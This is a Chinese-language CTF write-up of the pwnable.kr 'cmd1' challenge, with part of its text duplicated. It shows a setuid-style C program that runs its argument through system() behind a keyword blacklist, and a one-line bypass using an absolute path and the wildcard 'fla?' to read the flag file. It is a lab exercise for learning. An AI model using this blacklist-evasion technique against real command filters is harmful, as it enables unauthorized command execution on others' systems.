pwnable.kr [Toddler's Bottle] - cmd1
2017-03-22 15:14
357 查看
Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
没搞懂这题和环境变量有什么关联,不过还是要珍惜这最后一道水题。
先看源码 cmd1.c:
上述代码段意为 argv[1] 中不含 “flag”,”sh”,”tmp”,就可以让系统执行 argv[1] 所含字串表示的命令。
注 1. strstr( str1, str2 ) 函数功能为判断 str2 是否为 str1 的子串,是则返回 str2 在 str1 中首次出现的地址;否则返回 NULL 。
注 2. putenv(char *envvar) 用来改变或增加环境变量的内容。参数envvar的格式为envvar=value,如果该环境变量原先存在,则变量内容会依参数envvar改变,否则此参数内容会成为新的环境变量。参数envvar指定的字符串会变成环境变量的一部分,如果修改这个字符串,环境变量也会跟着被修改。
这里调用 putenv 的作用大概只是让我们不能直接打命令而已?…(例如 ‘cat xxx’ 要变成 ‘/bin/cat xxx’)
我们期望执行的命令是
ssh cmd1@pwnable.kr -p2222 (pw:guest)
没搞懂这题和环境变量有什么关联,不过还是要珍惜这最后一道水题。
先看源码 cmd1.c:
#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; printf("r= %d", r); return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
上述代码段意为 argv[1] 中不含 “flag”,”sh”,”tmp”,就可以让系统执行 argv[1] 所含字串表示的命令。
注 1. strstr( str1, str2 ) 函数功能为判断 str2 是否为 str1 的子串,是则返回 str2 在 str1 中首次出现的地址;否则返回 NULL 。
注 2. putenv(char *envvar) 用来改变或增加环境变量的内容。参数envvar的格式为envvar=value,如果该环境变量原先存在,则变量内容会依参数envvar改变,否则此参数内容会成为新的环境变量。参数envvar指定的字符串会变成环境变量的一部分,如果修改这个字符串,环境变量也会跟着被修改。
这里调用 putenv 的作用大概只是让我们不能直接打命令而已?…(例如 ‘cat xxx’ 要变成 ‘/bin/cat xxx’)
我们期望执行的命令是
/bin/cat flag,因为传递的参数中不能出现 “flag” ,所以我们可以用通配符, 构造命令:
cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla?" mommy now I get what PATH environment is for :)
相关文章推荐
- pwnable.kr [Toddler's Bottle] - random
- pwnable.kr [Toddler's Bottle] - input
- pwnable.kr [Toddler's Bottle] - lotto
- pwnable.kr [Toddler's Bottle] - leg
- pwnable.kr [Toddler's Bottle] - cmd2
- pwnable.kr [Toddler's Bottle] - mistake
- pwnable.kr [Toddler's Bottle] - uaf
- pwnable.kr [Toddler's Bottle] -fd
- pwnable.kr [Toddler's Bottle] - shellshock
- pwnable.kr [Toddler's Bottle] - collision
- pwnable.kr [Toddler's Bottle] - coin1
- pwnable.kr [Toddler's Bottle] - passcode
- pwnable.kr [Toddler's Bottle] - bof
- pwnable.kr [Toddler's Bottle] - flag
- pwnable.kr [Toddler's Bottle] - blackjack
- pwnable.kr [Toddler's Bottle] - codemap
- pwnable 笔记 Toddler's Bottle - cmd2
- pwnable 笔记 Toddler's Bottle - lotto
- pwnable 笔记 Toddler's Bottle - flag
- pwnable 笔记 Toddler's Bottle - blackjack